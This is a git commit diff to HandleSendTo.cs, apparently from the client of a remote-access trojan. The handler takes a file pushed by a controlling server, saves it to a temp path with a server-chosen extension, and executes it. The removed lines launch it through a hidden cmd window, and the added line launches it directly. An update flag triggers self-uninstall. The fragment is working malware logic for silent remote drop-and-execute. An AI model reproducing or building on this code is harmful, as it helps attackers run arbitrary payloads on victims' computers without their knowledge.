Update HandleSendTo.cs
This commit is contained in:
parent
6a30b4f382
commit
c5d4ee8518
@ -17,14 +17,7 @@ namespace Client.Handle_Packet
|
|||||||
//Drop To Disk
|
//Drop To Disk
|
||||||
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
||||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||||
ProcessStartInfo processStartInfo = new ProcessStartInfo
|
Process.Start(fullPath);
|
||||||
{
|
|
||||||
FileName = "cmd",
|
|
||||||
Arguments = "/k START \"\" \"" + fullPath + "\" & EXIT",
|
|
||||||
WindowStyle = ProcessWindowStyle.Hidden,
|
|
||||||
UseShellExecute = true
|
|
||||||
};
|
|
||||||
Process.Start(processStartInfo);
|
|
||||||
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
|
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
|
||||||
{
|
{
|
||||||
new HandleUninstall();
|
new HandleUninstall();
|
||||||
|
Loading…
x
Reference in New Issue
Block a user